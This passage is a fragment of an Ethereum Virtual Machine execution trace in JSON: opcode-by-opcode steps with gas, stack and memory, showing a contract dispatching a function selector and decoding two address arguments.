0000000000000080"]},{"pc":7,"op":"ISZERO","gas":104141,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":104138,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":104135,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":104125,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":104124,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":104122,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":104119,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":104117,"gasCost":3,"depth":2,"stack":["0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":104114,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":104111,"gasCost":10,"depth":2,"stack":["0x0","0xbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":104101,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":104098,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":104095,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":104092,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":104089,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":104086,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":104083,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":104080,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":104077,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x76"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":104067,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":104064,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":104061,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":104058,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":104055,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x5b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":54,"op":"DUP1","gas":104045,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":55,"op":"PUSH4","gas":104042,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":60,"op":"EQ","gas":104039,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":61,"op":"PUSH2","gas":104036,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":64,"op":"JUMPI","gas":104033,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x185"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":65,"op":"DUP1","gas":104023,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":66,"op":"PUSH4","gas":104020,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":71,"op":"EQ","gas":104017,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc9c65396"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":72,"op":"PUSH2","gas":104014,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":75,"op":"JUMPI","gas":104011,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x198"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":76,"op":"DUP1","gas":104001,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":77,"op":"PUSH4","gas":103998,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":82,"op":"EQ","gas":103995,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":83,"op":"PUSH2","gas":103992,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":86,"op":"JUMPI","gas":103989,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x1","0x1ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":427,"op":"JUMPDEST","gas":103979,"gasCost":1,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":428,"op":"PUSH2","gas":103978,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":431,"op":"PUSH2","gas":103975,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":434,"op":"CALLDATASIZE","gas":103972,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":435,"op":"PUSH1","gas":103970,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":437,"op":"PUSH2","gas":103967,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"JUMP","gas":103964,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x6ea"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1770,"op":"JUMPDEST","gas":103956,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1771,"op":"PUSH1","gas":103955,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1773,"op":"DUP1","gas":103952,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1774,"op":"PUSH1","gas":103949,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1776,"op":"DUP4","gas":103946,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1777,"op":"DUP6","gas":103943,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1778,"op":"SUB","gas":103940,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1779,"op":"SLT","gas":103937,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1780,"op":"ISZERO","gas":103934,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1781,"op":"PUSH2","gas":103931,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1784,"op":"JUMPI","gas":103928,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1","0x6fd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1789,"op":"JUMPDEST","gas":103918,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1790,"op":"PUSH2","gas":103917,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1793,"op":"DUP4","gas":103914,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1794,"op":"PUSH2","gas":103911,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1797,"op":"JUMP","gas":103908,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":103900,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":103899,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":103896,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":103893,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":103890,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":103887,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":103884,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":103881,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":103878,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":103875,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":103872,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":103869,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":103866,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":103863,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":103853,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":103852,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":103849,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":103846,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":103844,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1798,"op":"JUMPDEST","gas":103836,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1799,"op":"SWAP2","gas":103835,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1800,"op":"POP","gas":103832,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1801,"op":"PUSH2","gas":103830,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1804,"op":"PUSH1","gas":103827,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1806,"op":"DUP5","gas":103824,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1807,"op":"ADD","gas":103821,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1808,"op":"PUSH2","gas":103818,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1811,"op":"JUMP","gas":103815,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":103807,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":103806,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":103803,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":103800,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":103797,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000